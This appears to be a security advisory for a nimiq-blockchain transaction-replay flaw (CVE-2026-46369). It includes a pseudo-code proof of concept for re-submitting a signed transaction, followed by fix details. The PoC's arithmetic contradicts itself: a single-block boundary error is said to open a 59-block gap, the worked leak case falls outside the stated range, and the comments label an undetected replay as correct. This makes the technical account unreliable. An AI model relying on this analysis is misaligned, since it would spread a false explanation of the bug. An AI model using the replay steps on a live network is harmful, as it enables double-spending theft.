CVE-2026-46369: nimiq-blockchain Validity Store Off-by-One Transaction Replay
An off-by-one error in nimiq-blockchain's transaction replay-protection store lets an attacker submit the same signed transaction twice, debiting the sender and crediting the recipient a second time…

The problem
The validity store marks a transaction as 'seen' at block X and later checks whether it is still in-window using a strict inequality: block_number > last_bn - transaction_validity_window_blocks. This is one block too narrow.
The protocol's own Transaction::is_valid_at accepts a transaction for any block in the inclusive range [validity_start_height - blocks_per_batch, validity_start_height + window - 1]. The mismatch creates a gap of blocks_per_batch - 1 blocks (59 blocks, roughly 10 minutes, on MainNet) during which the same signed transaction passes the replay check and is executed a second time.
The sender is debited twice; the recipient credited twice.
Proof of concept
A working proof-of-concept for CVE-2026-46369 in nimiq-blockchain, with the exact payload below.
# MainNet constants (from Nimiq Albatross policy):
# transaction_validity_window_blocks = 120
# blocks_per_batch = 60
#
# Step 1 – broadcast TX at block X (first execution, stored block_number = X)
# Set validity_start_height = X + blocks_per_batch
# (maximum value still compatible with first inclusion at block X)
#
# Step 2 – replay the *identical* signed TX in any block B where:
# X + window < B < validity_start_height + window
# => X + 120 < B < X + 60 + 120
# => B in (X+120, X+180) -- 59 candidate blocks
#
# The buggy store check:
# stored_block_number > last_bn - validity_window # strict >
# X > B - 120
# For B = X + 121: X > X + 121 - 120 => X > X + 1 => FALSE (correct block)
# For B = X + 120: X > X + 120 - 120 => X > X => FALSE (off-by-one leaks here)
#
# The patched check (>= closes the gap):
# X >= B - 120
# For B = X + 120: X >= X => TRUE (replay now correctly detected)
# Concrete PoC (pseudo-code / Nimiq RPC call)
tx = sign_transaction(
sender = ATTACKER_ADDRESS,
recipient = RECIPIENT_ADDRESS,
value = AMOUNT,
validity_start_height = X + 60 # blocks_per_batch = 60
)
# First submission at block X (normal execution)
send_raw_transaction(tx)
# Replay at block B in range (X+120, X+180) -- store wrongly accepts it
wait_for_block(X + 121) # any block in the 59-block gap
send_raw_transaction(tx) # executes again; sender debited a second timeThe root cause is CWE-193 (Off-by-One Error). The validity store used stored_block_number > last_bn - window (strict greater-than) instead of >=, so the block at exactly the boundary was not flagged as a seen transaction.
By picking validity_start_height = X + blocks_per_batch, an attacker keeps the transaction protocol-valid while the store's window comparison silently misses the overlap. The patch in commit a530b2434ebca6e3716f07c73079786fcc6f2e41 changes the comparison to >=, making the store's window inclusive on the lower bound and matching Transaction::is_valid_at exactly.
No cryptographic break is needed. The attacker reuses their own legitimately signed transaction; the bug is purely in the integer boundary check.
The fix
Upgrade nimiq-blockchain (core-rs-albatross) to version 1.5.1. The patch (PR #3772, commit a530b24) changes the validity-store window check from a strict > to >= so the stored block boundary is no longer excluded. No workaround exists for nodes running <= 1.5.0.
Reported by jsdanielh (Nimiq core team).
Related research
- criticalCVE-2026-46428CVE-2026-46428: lettre Inverted Boolean Disables TLS Hostname Verification (boring-tls)
- high · 7.5CVE-2026-16756CVE-2026-16756: aws-smithy-http-server Slowloris Denial of Service
- high · 7.5CVE-2026-25800: quinn-proto Unbounded Stream Reassembly Memory Exhaustion
- criticalexploration: Malicious Remote Code Execution via Embedded Downloader